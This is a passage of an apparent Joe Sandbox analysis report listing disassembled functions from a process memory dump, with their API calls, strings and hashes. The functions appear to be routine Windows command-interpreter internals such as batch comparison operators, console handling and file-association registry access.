Function 00199789 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 128COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 0019984D
_wcsicmp.MSVCRT ref: 0019985F
_wcsicmp.MSVCRT ref: 00199871
_wcsicmp.MSVCRT ref: 00199883
_wcsicmp.MSVCRT ref: 00199895
_wcsicmp.MSVCRT ref: 001998EB

Strings

GTR, xrefs: 0019988F
LSS, xrefs: 0019986B
NEQ, xrefs: 00199859
LEQ, xrefs: 0019987D
EQU, xrefs: 00199847
GEQ, xrefs: 001998E5

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: _wcsicmp
String ID: EQU$GEQ$GTR$LEQ$LSS$NEQ
API String ID: 2081463915-3124875276
Opcode ID: e5c1461fba14532c764f83e6fd83e9766a294d6e24b59ee5f6149cb0dea645df
Instruction ID: 5f77a4f88654c2b869624bbf7ebabff3fe9df3bf7e0a4600ce320f218fbf5468
Opcode Fuzzy Hash: e5c1461fba14532c764f83e6fd83e9766a294d6e24b59ee5f6149cb0dea645df
Instruction Fuzzy Hash: F9412E312053069BDF286B58E85577A37A4EF62728F68042FE102965D0EFF6D485C752

Function 001A56C4 Relevance: 21.3, APIs: 1, Strings: 11, Instructions: 297COMMON

Download Yara Rule

APIs

longjmp.MSVCRT(001D0A70,000000FF,00000000,?,00000001,?,?,?,001A5833,?, /D /c",?,?,?,00000000,?), ref: 001B1271

Strings

NEQ , xrefs: 001B150F
GEQ , xrefs: 001B1547
IF /?, xrefs: 001B140A, 001B1428
LEQ , xrefs: 001B152B
FOR, xrefs: 001B130C
EQU , xrefs: 001B1501
FOR /?, xrefs: 001B13FC
LSS , xrefs: 001B151D
REM /?, xrefs: 001B141C
GTR , xrefs: 001B1539
== , xrefs: 001B14E9

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: longjmp
String ID: == $EQU $FOR$FOR /?$GEQ $GTR $IF /?$LEQ $LSS $NEQ $REM /?
API String ID: 1832741078-366822981
Opcode ID: 9cbc02fa3c3093f63f94b12997c81297ab1f8da404f055e2cef55e1619885b6b
Instruction ID: 7ddc6f85ae7fe6afddc880538f09da7e15fc4c9b2f3b19734b886d9120d54e7b
Opcode Fuzzy Hash: 9cbc02fa3c3093f63f94b12997c81297ab1f8da404f055e2cef55e1619885b6b
Instruction Fuzzy Hash: 3BA11478704604FBCF28DF94C9A48EE7B63FB56394BA18116F406AB650CB70DE91DB81

Function 00197E93 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 146windowCOMMON

Download Yara Rule

APIs

FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00001A00,00000000,00000000,00000000,001D0AF0,00002000,00000000,00000000,00000000,00000000), ref: 00197ED4

Part of subcall function 0019A62F: wcschr.MSVCRT ref: 0019A635

FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00001800,00000000,00000000,00000000,001D0AF0,00002000,?), ref: 00197F16
_ultoa.MSVCRT ref: 001AAFC9
GetACP.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,000000FF,?,00000020), ref: 001AAFDE
MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0(00000000,00000000), ref: 001AAFF3

Strings

Application, xrefs: 001AAFFF
System, xrefs: 001AB00C

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: FormatMessage$ByteCharMultiWide_ultoawcschr
String ID: Application$System
API String ID: 3538039442-3455788185
Opcode ID: 7fe7075536b7e0f1f7c6481d7fc659769560d59d2312b5b067b02478c55c0284
Instruction ID: 0df4276ca2f4ebed7d1f9327d7c3f9abde4ccf37874db7167405b3d29ef0ca20
Opcode Fuzzy Hash: 7fe7075536b7e0f1f7c6481d7fc659769560d59d2312b5b067b02478c55c0284
Instruction Fuzzy Hash: F141B371745315BBDB14DB649C89FAE7BA9EF49B41F60002AF506EB2C0D7709D40C761

Function 0019E950 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 276COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0019E9A0

Part of subcall function 0019E3F0: memset.MSVCRT ref: 0019E455

wcschr.MSVCRT ref: 0019E9FC
wcschr.MSVCRT ref: 0019EA14
_wcsicmp.MSVCRT ref: 0019EA80
??_V@YAXPAX@Z.MSVCRT(00000000,?), ref: 0019EB06
iswspace.MSVCRT ref: 0019EB7F

Strings

=,;+/[] ", xrefs: 0019E9F7
=,;, xrefs: 0019EB8E
:.\, xrefs: 0019EA0F

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: memsetwcschr$_wcsicmpiswspace
String ID: :.\$=,;$=,;+/[] "
API String ID: 1913572127-843887632
Opcode ID: 314571e91970233c781fc53358d86f9d939f6c7ddc98f12cda5a324eb7c07a7f
Instruction ID: 05933663a3bff7f8527622ab28ebe30b288430dec25f459ea0289cb0ce9a9171
Opcode Fuzzy Hash: 314571e91970233c781fc53358d86f9d939f6c7ddc98f12cda5a324eb7c07a7f
Instruction Fuzzy Hash: D9A1F334A05214DBDF28CBA8EC88BBA77F1BF45314F150199E80BA76E1D7709E85CB51

Function 001B53AA Relevance: 18.2, APIs: 12, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 00199E8E: iswspace.MSVCRT ref: 00199E9E

wcsrchr.MSVCRT ref: 001B5406
wcschr.MSVCRT ref: 001B541C
wcsrchr.MSVCRT ref: 001B544C
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F5), ref: 001B546B
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?), ref: 001B547B
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?), ref: 001B5497
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F6), ref: 001B549F
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?), ref: 001B54B3
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?), ref: 001B54D4
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F6,000003FF,?), ref: 001B5501
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?), ref: 001B5557
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?), ref: 001B5578

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: ConsoleMode$Handle$wcsrchr$iswspacewcschr
String ID:
API String ID: 4166807220-0
Opcode ID: 53941e0059471335514268db7c29fc1fafbd930477c1ef716cc0c41024b60222
Instruction ID: fb81e62d7355c13bebd57dd058465d35bf8571c4ecfb393e08917218ef736f57
Opcode Fuzzy Hash: 53941e0059471335514268db7c29fc1fafbd930477c1ef716cc0c41024b60222
Instruction Fuzzy Hash: 1651A1716002189AEB34AB34DC09BE977EAFF00311F1485A9F486D61D0EF709E85CBA2

Function 00197610 Relevance: 18.2, APIs: 8, Strings: 4, Instructions: 155memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,0000000C), ref: 00197669
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000), ref: 00197670
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008), ref: 00197686
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000), ref: 0019768D
_wcsicmp.MSVCRT ref: 00197719
_wcsicmp.MSVCRT ref: 0019772B
_wcsicmp.MSVCRT ref: 00197758
_wcsicmp.MSVCRT ref: 001AAA79

Strings

DISABLEEXTENSIONS, xrefs: 00197713
ENABLEEXTENSIONS, xrefs: 00197752
ENABLEDELAYEDEXPANSION, xrefs: 00197725
DISABLEDELAYEDEXPANSION, xrefs: 001AAA73

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Heap_wcsicmp$AllocProcess
String ID: DISABLEDELAYEDEXPANSION$DISABLEEXTENSIONS$ENABLEDELAYEDEXPANSION$ENABLEEXTENSIONS
API String ID: 435930816-3086019870
Opcode ID: edbb82875f86d8d00938684cf263285c7119456ecab80220b01278f2a2b4d875
Instruction ID: 67ce3dffaa3ca7d43289fc72ffe402117756fa5fd588069ef590c74a1f47ad8c
Opcode Fuzzy Hash: edbb82875f86d8d00938684cf263285c7119456ecab80220b01278f2a2b4d875
Instruction Fuzzy Hash: 7251363521A3419FDB18DF78EC09A263BD5EF05314B68486EE442C76C1EB61D881CB66

Function 001BAEBD Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 266COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 001BAF04
memset.MSVCRT ref: 001BAF2E
memset.MSVCRT ref: 001BAF58

Part of subcall function 0019E3F0: memset.MSVCRT ref: 0019E455

GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,00000000,00000000,00000000,00000000,0019250C,?,?,00000000,-00000105,-00000105,-00000105), ref: 001BB08B
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,?,?,?,?), ref: 001BB095
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?), ref: 001BB0AA
??_V@YAXPAX@Z.MSVCRT(?,-00000105,?,?,?,?,?,?,?,?,?), ref: 001BB1DA
??_V@YAXPAX@Z.MSVCRT(?,-00000105,?,?,?,?,?,?,?,?,?), ref: 001BB1F2
??_V@YAXPAX@Z.MSVCRT(?,-00000105,?,?,?,?,?,?,?,?,?), ref: 001BB20A

Strings

%04X-%04X, xrefs: 001BB186

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: memset$ErrorLast$InformationVolume
String ID: %04X-%04X
API String ID: 2748242238-1126166780
Opcode ID: bf0aa9c1e2c6f86936d263262f02e10096d95c4351c7bf3bae42ce40fb88a005
Instruction ID: 30334c8e332fcf90ed03e6a4991af27acd69a77fd1ea70f3bb3fc05d5ef7a788
Opcode Fuzzy Hash: bf0aa9c1e2c6f86936d263262f02e10096d95c4351c7bf3bae42ce40fb88a005
Instruction Fuzzy Hash: 24918EB1A052289BDF24DA28CC95AFAB7B9EF54304F4405E9F509D3140EBB49F848BA0

Function 0019BC30 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 255COMMON

Download Yara Rule

APIs

wcschr.MSVCRT ref: 0019BCA7
iswspace.MSVCRT ref: 0019BD1D
wcschr.MSVCRT ref: 0019BD39
wcschr.MSVCRT ref: 0019BD5D
wcschr.MSVCRT ref: 0019BDED
iswspace.MSVCRT ref: 0019BE27
wcschr.MSVCRT ref: 0019BE3F
wcschr.MSVCRT ref: 0019BE8C

Strings

=,;, xrefs: 0019BC86

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: wcschr$iswspace
String ID: =,;
API String ID: 3458554142-1539845467
Opcode ID: a25f8affb98d8910c7c65dfbf531020726bae35b70c40595e88623b944c66b85
Instruction ID: b02c081ff43c96d896b085d79ee2de7d7fb9dd070a24d103fe86ef9e381f6637
Opcode Fuzzy Hash: a25f8affb98d8910c7c65dfbf531020726bae35b70c40595e88623b944c66b85
Instruction Fuzzy Hash: A981CF74904215CBDF349FA4EE857BA73F6AF10709F14446AE94AA7240EB748D84CB61

Function 001A23F0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 176COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 001A2431
memset.MSVCRT ref: 001A2452
memset.MSVCRT ref: 001A247C

Part of subcall function 0019E3F0: memset.MSVCRT ref: 0019E455

GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00000000,00000000,00000000,?,00000000,00000000,?,0019250C,00000000,00000000,?,-00000105,-00000105,-00000105), ref: 001A2585
_wcsicmp.MSVCRT ref: 001A25A3
??_V@YAXPAX@Z.MSVCRT(00000000,00000000,?,-00000105,-00000105,-00000105,?,?,?,?,?,?,?,?), ref: 001A25CA
??_V@YAXPAX@Z.MSVCRT(00000000,00000000,?,-00000105,-00000105,-00000105,?,?,?,?,?,?,?,?), ref: 001A25E3
??_V@YAXPAX@Z.MSVCRT(00000000,00000000,?,-00000105,-00000105,-00000105,?,?,?,?,?,?,?,?), ref: 001AF32B

Strings

FAT, xrefs: 001A259D

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: memset$InformationVolume_wcsicmp
String ID: FAT
API String ID: 4247940253-238207945
Opcode ID: d2677a0d468a4628d76a037129911a3a3dcf7f3fe04d66a4415801456cdc8d82
Instruction ID: 716c48b90a061c922cc46ad9c5fb0c9f82f515815ada765fe736c4a9da5408ef
Opcode Fuzzy Hash: d2677a0d468a4628d76a037129911a3a3dcf7f3fe04d66a4415801456cdc8d82
Instruction Fuzzy Hash: BB516FB5D01218ABEF24CBA4DC99BEA77B8FB55305F1400A9E505E3181EB389F84CE25

Function 00197334 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 159COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00197381

Part of subcall function 0019E3F0: memset.MSVCRT ref: 0019E455

GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,?,?,-00000209,?,00000000,?), ref: 001973D6
wcsncmp.MSVCRT ref: 001973F9
??_V@YAXPAX@Z.MSVCRT(?,-00000209,?,00000000,?), ref: 00197465
GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0(?,00001037,00000000,?,?), ref: 001AA8C6

Part of subcall function 001A0060: wcschr.MSVCRT ref: 001A006C

wcsstr.MSVCRT ref: 001AA87E
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 001AA89B
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0(?), ref: 001AA8DE

Part of subcall function 001A589A: FindFirstFileExW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00000000,?,00000000,00000000,00000002,00000000,00000000,?,001A59D0,?,00196054,-00001038,00000000,?,?), ref: 001A58BB
Part of subcall function 001A589A: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,001A59D0,?,00196054,-00001038,00000000,?,?,00000000,00000000,-00000001), ref: 001A58CD

Part of subcall function 00198B4D: FindClose.API-MS-WIN-CORE-FILE-L1-1-0(?,00000000,001B99FD,00000000,?,00000000,001ACF94,00000000,?), ref: 00198B7B

Strings

\\.\, xrefs: 001973F3

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: File$AttributesFindmemset$CloseDriveErrorFirstFullLastNamePathTypewcschrwcsncmpwcsstr
String ID: \\.\
API String ID: 799470305-2900601889
Opcode ID: 791a2dddcc08293d151a34138410748ac6df60b2d0499c7678874ebab9f64f84
Instruction ID: 0ccaaf15d36c2df22fc46ac389790e2092d9864b9dbc3c02d8ac470ff7c9e0b7
Opcode Fuzzy Hash: 791a2dddcc08293d151a34138410748ac6df60b2d0499c7678874ebab9f64f84
Instruction Fuzzy Hash: 4D5143756193019BDB30DB74988466BBBE8EF8A310F44082EF859C36C2EB34D845C7A3

Function 0019CB09 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 101COMMON

Download Yara Rule

APIs

iswspace.MSVCRT ref: 0019CB14
wcschr.MSVCRT ref: 0019CB2B
iswspace.MSVCRT ref: 0019CB54
wcschr.MSVCRT ref: 0019CB6B
wcschr.MSVCRT ref: 0019CB89
wcschr.MSVCRT ref: 0019CB9C
_wcsicmp.MSVCRT ref: 0019CBE1

Strings

&<|>, xrefs: 0019CB97
+: , xrefs: 0019CB84
=,;, xrefs: 0019CB26, 0019CB66

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: wcschr$iswspace$_wcsicmp
String ID: &<|>$+: $=,;
API String ID: 3089800946-2256444845
Opcode ID: 7ad4a2cf9cdc7493142cd1b8517340ef360514e481d3e1d3829cf2f01159af81
Instruction ID: b724d441555b1a94ec005a65112f1cd80835d8650903899d2339500829142c85
Opcode Fuzzy Hash: 7ad4a2cf9cdc7493142cd1b8517340ef360514e481d3e1d3829cf2f01159af81
Instruction Fuzzy Hash: 09312BB5A0272457CF208B69AC497AF77A5BF56305F140066EC0AD3212F7719D64CBE3

Function 001BBAF8 Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 336COMMON

Download Yara Rule

APIs

Part of subcall function 001BC0F8: free.MSVCRT ref: 001BC116
Part of subcall function 001BC0F8: free.MSVCRT ref: 001BC123

Part of subcall function 0019DCD0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,0019ACD8,00000001,?,00000000,00198C23,-00000105,001BC9B0,00000240,001A1E92,00000000,00000000,001AACE0,00000000), ref: 0019DCE1
Part of subcall function 0019DCD0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,0019ACD8,00000001,?,00000000,00198C23,-00000105,001BC9B0,00000240,001A1E92,00000000,00000000,001AACE0,00000000,00000000), ref: 0019DCE8

longjmp.MSVCRT(001D0A30,00000001,00000000,?,00000000), ref: 001BBB97
qsort.MSVCRT ref: 001BBC1A
wcschr.MSVCRT ref: 001BBC6F
calloc.MSVCRT ref: 001BBCB1
calloc.MSVCRT ref: 001BBD82
wcschr.MSVCRT ref: 001BBDCB
memcpy.MSVCRT(00000000,?,?), ref: 001BBE1D
memcpy.MSVCRT(00000000,?,?), ref: 001BBE3E

Strings

&()[]{}^=;!%'+,`~, xrefs: 001BBC6A, 001BBDC6

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Heapcallocfreememcpywcschr$AllocProcesslongjmpqsort
String ID: &()[]{}^=;!%'+,`~
API String ID: 975110957-381716982
Opcode ID: c3d9bae626d4da60ca0935425bb6b8769f757670fbe2173955210a54d252207d
Instruction ID: ff18c2f33edf319a1beed9dba1d8b4c09b5c85ad4e4478cdb18b74848cb07209
Opcode Fuzzy Hash: c3d9bae626d4da60ca0935425bb6b8769f757670fbe2173955210a54d252207d
Instruction Fuzzy Hash: 8DC1CF72A082159BDF24CFA8D881AEEBBB1FF18714F14406AE848E7751DB709D41CB64

Function 0019B760 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 286COMMON

Download Yara Rule

APIs

_tell.MSVCRT ref: 0019B7F9
_close.MSVCRT ref: 0019B82C
memset.MSVCRT ref: 0019B8CC
GetConsoleOutputCP.API-MS-WIN-CORE-CONSOLE-L1-1-0(00007FE7), ref: 0019B936
GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,001CC9F0), ref: 0019B947
??_V@YAXPAX@Z.MSVCRT(?), ref: 0019B96D

Strings

GOTO, xrefs: 0019B9CF

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: ConsoleInfoOutput_close_tellmemset
String ID: GOTO
API String ID: 1380661413-1693823284
Opcode ID: b8b790debee8da43e3979650569ed053229e41ebb09f26e748dbab18eb759e79
Instruction ID: 03939583d783dc55da4c4b66f6490271f61007ad744c10e8fa332985f0c9f715
Opcode Fuzzy Hash: b8b790debee8da43e3979650569ed053229e41ebb09f26e748dbab18eb759e79
Instruction Fuzzy Hash: 11B1F170A093018FDF24DF68E98476AB7E6BF95714F14092DE886C7290EB70DD85CB92

Function 001B6650 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 214registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,00000000,02000000,?), ref: 001B6745
RegCreateKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,00000000,00000000,00000000,02000000,00000000,?,?), ref: 001B67CF
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?), ref: 001B67F6
RegSetValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,001920B8,00000000,00000002,?,00000000), ref: 001B6867
RegDeleteValueW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,00000000), ref: 001B68A3
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?), ref: 001B68C5

Strings

%s=%s, xrefs: 001B6875
p~du, xrefs: 001B67F6, 001B68C5
\Shell\Open\Command, xrefs: 001B66F2

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: CloseValue$CreateDeleteOpen
String ID: %s=%s$\Shell\Open\Command$p~du
API String ID: 4081037667-3069096257
Opcode ID: 719e2dfde721f7f962707f1e8e033b96e0b3ec8334148fbcce027b820eb6b524
Instruction ID: e7973fdbdcae8c3cd68b8a73d8442c57430e537d150f72e99a2a4977e74d8933
Opcode Fuzzy Hash: 719e2dfde721f7f962707f1e8e033b96e0b3ec8334148fbcce027b820eb6b524
Instruction Fuzzy Hash: 51613C75E002259BDF349B24CC49AFB77B9EF64700F1501AAFC49E3290EB759E80CA91

Function 001A3065 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

wcschr.MSVCRT ref: 001A3096
iswdigit.MSVCRT ref: 001A30A7
_errno.MSVCRT ref: 001A30B2
wcstol.MSVCRT ref: 001A30CF
iswdigit.MSVCRT ref: 001A30ED
iswalpha.MSVCRT ref: 001A3103
wcstoul.MSVCRT ref: 001AF670
_errno.MSVCRT ref: 001AF67B

Strings

+-~!, xrefs: 001A3091

Memory Dump Source

